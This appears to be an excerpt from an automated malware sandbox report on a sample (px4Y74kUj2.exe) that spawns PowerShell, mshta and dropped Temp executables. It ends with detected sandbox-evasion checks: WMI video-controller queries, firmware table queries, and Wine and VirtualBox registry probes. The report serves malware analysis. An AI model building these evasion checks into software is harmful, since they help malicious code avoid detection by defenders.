Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1074964001\22a0986bef.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1074964001\22a0986bef.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Found API chain indicative of sandbox detection
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe System information queried: FirmwareTableInformation
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine
